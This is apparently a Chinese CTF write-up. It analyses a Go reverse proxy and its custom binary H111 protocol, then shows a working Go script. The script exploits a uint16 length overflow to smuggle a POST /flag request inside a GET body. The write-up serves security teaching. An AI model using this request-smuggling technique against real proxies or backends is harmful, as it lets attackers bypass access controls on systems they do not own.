Proxy

先看一下前端的main函数是使用sync.Pool,H111协议存在 pipeline 以及**连接复⽤**

func main() {
    pool = sync.Pool{
        New: func() interface{} {
            for {
                conn, err := net.Dial("tcp", "127.0.0.1:8080")
                if err != nil {
                    fmt.Println("error dialing to backend server")
                    time.Sleep(time.Millisecond * 300)
                    continue
                }
                return conn
            }
        },
    }
    http.ListenAndServe(":8081", &proxyHandler{})
}

前端有个proxy处理请求后给后端

package main

import (
    "fmt"
    "io"
    h111 "level111111/protocol"
    "net"
    "net/http"
    "sync"
    "time"
)

var pool sync.Pool

type proxyHandler struct {
}

func (h *proxyHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    fmt.Println("Received request", r.Method, r.URL.Path)
    if r.Method != "GET" {
        w.WriteHeader(http.StatusMethodNotAllowed)
        return
    }

    conn := pool.Get().(net.Conn)
    err := h111.WriteH111Request(conn, r)
    if err != nil {
        fmt.Println("error writing request")
        w.WriteHeader(http.StatusInternalServerError)
        conn.Close()
        return
    }

    resp, err := h111.ReadH111Response(conn)
    if err != nil {
        fmt.Println("error reading response")
        w.WriteHeader(http.StatusInternalServerError)
        conn.Close()
        return
    }

    w.WriteHeader(resp.StatusCode)
    for key, values := range resp.Header {
        for _, value := range values {
            w.Header().Add(key, value)
        }
    }

    bodyBytes, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("error reading response body")
        w.WriteHeader(http.StatusInternalServerError)
        conn.Close()
        return
    }
    w.Write(bodyBytes)
    pool.Put(conn)
}

func main() {
    pool = sync.Pool{
        New: func() interface{} {
            for {
                conn, err := net.Dial("tcp", "127.0.0.1:8080")
                if err != nil {
                    fmt.Println("error dialing to backend server")
                    time.Sleep(time.Millisecond * 300)
                    continue
                }
                return conn
            }
        },
    }
    http.ListenAndServe(":8081", &proxyHandler{})
}

H11协议分析

(1)读取方法长度

var methodLength uint16
binary.Read(reader, binary.BigEndian, &methodLength)
  • binary.Read: 从 reader 中读取 2 字节(uint16)的数据,并将其解析为方法长度。
  • binary.BigEndian: 指定使用大端序(网络字节序)解析数据。
  • methodLength: 存储方法名称的长度。

(2)读取方法名称

method := make([]byte, int(methodLength))
_, err := io.ReadFull(reader, method)
if err != nil {
    return nil, errors.Join(ErrReadH111Request, err)
}
  • make([]byte, int(methodLength)): 创建一个长度为 methodLength 的字节数组,用于存储方法名称。
  • io.ReadFull: 从 reader 中读取 methodLength 字节的数据,并将其填充到 method 中。
  • 错误处理: 如果读取失败,返回自定义错误 ErrReadH111Request 和原始错误的组合。

(3)读取 URI 长度

var uriLength uint16
binary.Read(reader, binary.BigEndian, &uriLength)
  • uriLength: 存储 URI 的长度。

(4)读取 URI

requestURI := make([]byte, int(uriLength))
_, err = io.ReadFull(reader, requestURI)
if err != nil {
    return nil, errors.Join(ErrReadH111Request, err)
}
  • requestURI: 创建一个长度为 uriLength 的字节数组,用于存储 URI。
  • io.ReadFull: 从 reader 中读取 uriLength 字节的数据,并将其填充到 requestURI 中。
  • 错误处理: 如果读取失败,返回自定义错误 ErrReadH111Request 和原始错误的组合。

(5)读取请求头数量

var headerCount uint16
err = binary.Read(reader, binary.BigEndian, &headerCount)
if err != nil {
    return nil, errors.Join(ErrReadH111Request, err)
}
  • headerCount: 存储请求头的数量。

协议格式

根据代码逻辑,H111 协议的请求格式如下:

字段

长度

描述

方法长度

2字节

方法名称的长度

方法名称

N字节

方法名称(如 GET、POST)

URI 长度

2字节

URI 的长度

URI

M字节

URI(如 /path)

请求头数量

2字节

请求头的数量

请求头

变长

每个请求头的键值对

请求体长度

2字节

请求体的长度

请求体

K字节

请求体数据

  • 流程:
  1. 检查请求方法,只允许 GET 请求。
  2. 从连接池获取一个连接。
  3. 使用 h111.WriteH111Request 将 HTTP 请求序列化为 H111 协议并发送到后端服务器。
  4. 使用 h111.ReadH111Response 从后端服务器读取响应。
  5. 将响应写回客户端。
  6. 将连接放回连接池。

具体源码如下:

package protocol

import (
    "bytes"
    "encoding/binary"
    "errors"
    "io"
    "net/http"
)

var ErrReadH111Request = errors.New("fail to read as H111 request")
var ErrWriteH111Request = errors.New("fail to write as H111 request")

func ReadH111Request(reader io.Reader) (*http.Request, error) {
    var methodLength uint16
    binary.Read(reader, binary.BigEndian, &methodLength)
    method := make([]byte, int(methodLength))
    _, err := io.ReadFull(reader, method)
    if err != nil {
        return nil, errors.Join(ErrReadH111Request, err)
    }
    var uriLength uint16
    binary.Read(reader, binary.BigEndian, &uriLength)
    requestURI := make([]byte, int(uriLength))
    _, err = io.ReadFull(reader, requestURI)
    if err != nil {
        return nil, errors.Join(ErrReadH111Request, err)
    }

    var headerCount uint16
    err = binary.Read(reader, binary.BigEndian, &headerCount)
    if err != nil {
        return nil, errors.Join(ErrReadH111Request, err)
    }

    headers := make(map[string][]string)
    for i := uint16(0); i < headerCount; i++ {
        var keyLength uint16
        err = binary.Read(reader, binary.BigEndian, &keyLength)
        if err != nil {
            return nil, errors.Join(ErrReadH111Request, err)
        }
        key := make([]byte, keyLength)
        _, err = io.ReadFull(reader, key)
        if err != nil {
            return nil, errors.Join(ErrReadH111Request, err)
        }

        var valueLength uint16
        err = binary.Read(reader, binary.BigEndian, &valueLength)
        if err != nil {
            return nil, errors.Join(ErrReadH111Request, err)
        }
        value := make([]byte, valueLength)
        _, err = io.ReadFull(reader, value)
        if err != nil {
            return nil, errors.Join(ErrReadH111Request, err)
        }

        headers[string(key)] = append(headers[string(key)], string(value))
    }

    var bodyLength uint16
    err = binary.Read(reader, binary.BigEndian, &bodyLength)
    if err != nil {
        return nil, errors.Join(ErrReadH111Request, err)
    }

    body := make([]byte, bodyLength)
    _, err = io.ReadFull(reader, body)
    if err != nil {
        return nil, errors.Join(ErrReadH111Request, err)
    }

    req, err := http.NewRequest(string(method), string(requestURI), bytes.NewReader(body))
    if err != nil {
        return nil, errors.Join(ErrReadH111Request, err)
    }

    req.Header = headers

    return req, nil
}

func WriteH111Request(writer io.Writer, req *http.Request) error {
    methodBytes := []byte(req.Method)
    if err := binary.Write(writer, binary.BigEndian, uint16(len(methodBytes))); err != nil {
        return errors.Join(ErrWriteH111Request, err)
    }
    if _, err := writer.Write(methodBytes); err != nil {
        return errors.Join(ErrWriteH111Request, err)
    }

    pathBytes := []byte(req.RequestURI)
    if err := binary.Write(writer, binary.BigEndian, uint16(len(pathBytes))); err != nil {
        return errors.Join(ErrWriteH111Request, err)
    }
    if _, err := writer.Write(pathBytes); err != nil {
        return errors.Join(ErrWriteH111Request, err)
    }

    headerCount := uint16(len(req.Header))
    if err := binary.Write(writer, binary.BigEndian, headerCount); err != nil {
        return errors.Join(ErrWriteH111Request, err)
    }

    for key, values := range req.Header {
        keyBytes := []byte(key)
        if err := binary.Write(writer, binary.BigEndian, uint16(len(keyBytes))); err != nil {
            return errors.Join(ErrWriteH111Request, err)
        }
        if _, err := writer.Write(keyBytes); err != nil {
            return errors.Join(ErrWriteH111Request, err)
        }

        for _, value := range values {
            valueBytes := []byte(value)
            if err := binary.Write(writer, binary.BigEndian, uint16(len(valueBytes))); err != nil {
                return errors.Join(ErrWriteH111Request, err)
            }
            if _, err := writer.Write(valueBytes); err != nil {
                return errors.Join(ErrWriteH111Request, err)
            }
        }
    }

    if req.Body != nil {
        body, err := io.ReadAll(req.Body)
        if err != nil {
            return errors.Join(ErrWriteH111Request, err)
        }
        if err := binary.Write(writer, binary.BigEndian, uint16(len(body))); err != nil {
            return errors.Join(ErrWriteH111Request, err)
        }
        if _, err := writer.Write(body); err != nil {
            return errors.Join(ErrWriteH111Request, err)
        }
    } else {
        if err := binary.Write(writer, binary.BigEndian, uint16(0)); err != nil {
            return errors.Join(ErrWriteH111Request, err)
        }
    }

    return nil
}

代码实现了一个自定义的 HTTP 协议(称为 H111),用于将 HTTP 请求和响应序列化为二进制格式,并从二进制格式反序列化为 HTTP 请求

H111 协议的二进制格式如下:

(1)请求方法

  • 长度:2 字节(uint16),表示方法名的长度。
  • 数据:方法名的字节数据。

(2)请求 URI

  • 长度:2 字节(uint16),表示 URI 的长度。
  • 数据:URI 的字节数据。

(3)请求头

  • 数量:2 字节(uint16),表示请求头的数量。
  • 每个请求头:
  • 键长度:2 字节(uint16),表示键的长度。
  • 键数据:键的字节数据。
  • 值长度:2 字节(uint16),表示值的长度。
  • 值数据:值的字节数据。

(4)请求体

  • 长度:2 字节(uint16),表示请求体的长度。
  • 数据:请求体的字节数据。
| 字段          | 长度  | 描述                     |
|---------------|-------|--------------------------|
| 方法长度      | 2字节 | 方法名称的长度           |
| 方法名称      | N字节 | 方法名称(如 GET、POST) |
| URI 长度      | 2字节 | URI 的长度               |
| URI           | M字节 | URI(如 /path)          |
| 请求头数量    | 2字节 | 请求头的数量             |
| 请求头        | 变长  | 每个请求头的键值对       |
| 请求体长度    | 2字节 | 请求体的长度             |
| 请求体        | K字节 | 请求体数据               |

GET请求其实是能携带body的,bodyLength使用的是uint16储存,范围为:

0-65535

所有的 Length字段都是uint16并且没有任何溢出检查,所以当⼀个⼤于uint16最⼤值的Length被序列化时会 产⽣整数溢出,改变序列化后的语义。 当 Len 为 65536 的时候,会溢出为0,此时读取⻓度为0的Data,后⾯这段数据会被搁置。

​

请求走私

通过溢出我们走私请求POST,本地用go写一个请求脚本,运行两次就出了结果

package main

import (
    "bytes"
    "fmt"
    "io"
    "net/http"
)

func main() {

    expected := []byte{
        0x00, 0x04, // method length
        0x50, 0x4f, 0x53, 0x54, // method: POST
        0x00, 0x05, // URI length
        0x2f, 0x66, 0x6c, 0x61, 0x67, // URI: /flag
        0x00, 0x00, // header count
        0x00, 0x00, // body length
    }
    padding := make([]byte, 65519) // 65536 - 17 = 65519
    body := append(expected)
    body = append(body, padding...)

    // 创建请求
    req, err := http.NewRequest("GET", "http://node1.hgame.vidar.club:30418/", bytes.NewReader(body))
    if err != nil {
        fmt.Println("error creating request:", err)
        return
    }
    req.Header.Set("Content-Length", fmt.Sprintf("%d", len(body)))

    // 发送请求
    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("error sending request:", err)
        return
    }
    defer resp.Body.Close()

    // 读取响应
    respBody, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("error reading response:", err)
        return
    }

    fmt.Println("Response received:", string(respBody))
}

通过get请求,放入满足post格式的请求包,并填充数据满足65536溢出